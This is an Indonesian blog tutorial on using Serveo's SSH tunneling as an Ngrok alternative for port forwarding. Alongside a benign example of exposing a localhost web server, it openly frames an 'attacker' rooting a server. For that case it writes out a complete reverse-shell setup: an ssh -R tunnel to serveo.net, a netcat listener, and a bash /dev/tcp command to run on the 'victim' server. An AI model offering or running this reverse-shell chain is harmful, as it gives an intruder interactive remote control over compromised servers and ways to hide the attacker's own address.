Port Forwarding menggunakan Layanan Serveo

Serveo - Alternatif Ngrok untuk Port Forwarding. Sebelumnya saya sudah pernah share Ngrok. Nah, salahsatu alternatif Ngrok untuk melakukan port forwarding adalah Serveo. Dengan port forwarding ke serveo, kalian bisa meng "online" kan localhost mu agar bisa diakses secara publik.
Case lain tentu saja saat attacker ingin melakukan rooting server dan harus melakukan back coonect, tentu dibutuhkan ip publik. Nah jika tidak ada vps, dan kebetulan kalian bukan pengguna provider internet yang menyediakan ip publik, kalian bisa menggunakan Serveo.

Langsung saja ya, disini saya kasih contoh back connect nya.
Serveo sendiri bisa digunakan dengan perintah ssh tunneling. Jadi tidak perlu mendownload client nya seperti Ngrok.

Pertama, jalankan perintah
ssh -R 1337:localhost:1337 linuxsec@serveo.net

Perintah ini untuk melakukan forwarding port 1337 di localhost ke port 1337 di serveo.net. Penjelasan tentang ssh tunneling bisa dibaca disini:
User "linuxsec" disana digunakan untuk membuat subdomain. Jadi bebas kalian ubah dengan domain apapun. Jika disana perintahnya linuxsec@serveo.net, maka nanti subdomainnya menjadi linuxsec.serveo.net.

 Nah buka tab baru, jalankan netcat agar listen di port 1337.
nc -lvp 1337
Selanjutnya dari sisi server victim, lakukan back connect ke port 1337 di serveo.net.
bash -i >& /dev/tcp/linuxsec.serveo.net/1337 0>&1
Perintah back connect di terminal bisa dilihat disini:
Oke lanjut ke pembahasan. Setelah ketiga step diatas dilakukan, seharusnya netcat sudah merespon bahwa kita sudah terhubung ke server victim.

Mudah bukan? Itu adalah contoh back connect.
Lalu bagaimana jika kita hanya ingin meng-online kan web kita yang ada di localhost. Ya sama saja, dengan perintah remote port forward.
ssh -R 1337:localhost:80 linuxsec@serveo.net

Dan tampilan di serveo port 1337 akan sama dengan tampilan localhost kita di port 80.

Mudah bukan?
Untuk perintah perpintah yang lain bisa kalian cek di serveo.net

Sekian tutorial kali ini, dan semoga bermanfaat.